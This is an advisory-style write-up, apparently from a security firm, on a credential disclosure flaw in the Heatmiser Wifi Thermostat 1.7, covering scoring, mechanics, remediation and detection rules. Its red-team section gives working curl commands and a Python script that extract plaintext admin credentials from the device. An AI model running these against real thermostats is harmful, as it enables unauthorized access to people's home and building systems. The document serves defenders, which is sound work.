CVE-2018-25396

Executive Summary

CVE-2018-25396 is a critical credential disclosure vulnerability affecting the Heatmiser Wifi Thermostat version 1.7. The flaw allows any unauthenticated attacker on the local network to retrieve administrative credentials in plaintext by simply requesting the networkSetup.htm page. The credentials are embedded directly in the HTML form fields, enabling immediate administrative access to the thermostat. This vulnerability is particularly dangerous in IoT environments where thermostats are often deployed on the same network as other sensitive devices. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the technical simplicity and lack of authentication make it a high-risk target for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The attacker only needs network access to the thermostat.
• Attack Complexity: Low (AC:L) – No special conditions or timing required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only affected system.
• Confidentiality Impact: High (C:H) – Full administrative credentials are exposed.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and provides full administrative control over the thermostat, which could be leveraged for lateral movement or physical attacks (e.g., disabling heating in winter).

Deep Dive & Mechanics

The Heatmiser Wifi Thermostat runs an embedded web server that serves configuration pages without authentication. The networkSetup.htm page is intended for network configuration but exposes the administrative username and password in plaintext within HTML <input> fields. When an attacker sends a GET request to http://<thermostat-ip>/networkSetup.htm, the server responds with a page containing:

<input type="text" name="username" value="admin">
<input type="password" name="password" value="plaintext_password">

The credentials are not hashed or encrypted, and the page does not require any session token or authentication. This is a classic case of CWE-522 (Insufficiently Protected Credentials). The vulnerability exists because the web server does not enforce access controls on sensitive configuration endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (Heatmiser Wifi Thermostat 1.7): The web server serves networkSetup.htm without any authentication check. The HTML form contains credentials in plaintext.

<!-- networkSetup.htm (vulnerable) -->
<form action="/saveNetworkSetup" method="post">
  <input type="text" name="username" value="admin">
  <input type="password" name="password" value="secret123">
  <input type="submit" value="Save">
</form>

Patched Code (Hypothetical): A patched version would require authentication before serving the page and would never expose credentials in the response.

<!-- networkSetup.htm (patched) -->
<form action="/saveNetworkSetup" method="post">
  <input type="text" name="username" value="">
  <input type="password" name="password" value="">
  <input type="submit" value="Save">
</form>

Additionally, the server should enforce session-based authentication for all configuration endpoints.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a Heatmiser Wifi Thermostat (or emulator) on a local network with IP 192.168.1.100.
2. Ensure the thermostat is accessible from the attacker machine.

Exploitation Steps:

1. Use curl to request the vulnerable page:

   curl http://192.168.1.100/networkSetup.htm
   

2. Extract credentials from the response:

   curl -s http://192.168.1.100/networkSetup.htm | grep -oP 'value="\K[^"]+'
   

3. Use the extracted credentials to log in to the thermostat's admin panel.

Automated Exploit (Python):

import requests
import re

target = "http://192.168.1.100"
resp = requests.get(f"{target}/networkSetup.htm")
if resp.status_code == 200:
    usernames = re.findall(r'name="username" value="([^"]+)"', resp.text)
    passwords = re.findall(r'name="password" value="([^"]+)"', resp.text)
    if usernames and passwords:
        print(f"Credentials: {usernames[0]}:{passwords[0]}")

Blue Team (Detection & Response)

Detection:

• Monitor for HTTP GET requests to /networkSetup.htm from unexpected IPs.
• Alert on any successful authentication to the thermostat admin panel from non-admin workstations.

Response:

1. Isolate the thermostat from the network.
2. Change the admin password immediately.
3. If possible, upgrade firmware or apply vendor workaround (e.g., disable web interface).
4. Review logs for unauthorized access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /networkSetup.htm on port 80.
  • Source IPs not in the trusted admin list.
• File IOCs:
  • Presence of networkSetup.htm in web server logs.
• Behavioral IOCs:
  • Unauthorized configuration changes to the thermostat (e.g., temperature setpoints, schedules).
  • Multiple failed login attempts (if brute-forcing after credential disclosure).

Detection Engineering

YARA Rule

rule Heatmiser_Credential_Disclosure {
    meta:
        description = "Detects HTTP responses containing plaintext credentials from Heatmiser thermostat"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25396"
    strings:
        $cred_pattern = /name="(username|password)" value="[^"]+"/
    condition:
        $cred_pattern
}

Sigma Rule

title: Heatmiser Thermostat Credential Disclosure
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /networkSetup.htm on Heatmiser thermostats
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/networkSetup.htm'
    condition: selection
falsepositives:
    - Legitimate admin access from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25396 Heatmiser Credential Disclosure"; flow:to_server; content:"GET"; http_method; content:"/networkSetup.htm"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the thermostat on a separate VLAN with strict firewall rules.
2. Change the admin password immediately after any exposure.
3. Disable the web interface if not required for daily operations.

Long-Term Fixes:

• Vendor Patch: No official patch exists. Contact Heatmiser for updates or consider replacing the device.
• Network Segmentation: Place IoT devices on a separate network segment with no direct internet access.
• Web Server Hardening: If possible, implement a reverse proxy that requires authentication before forwarding requests to the thermostat.

Workarounds:

• Use a firewall rule to block external access to port 80 on the thermostat.
• Monitor logs for unauthorized access attempts.

Valters IT
Securing IoT, One Vulnerability at a Time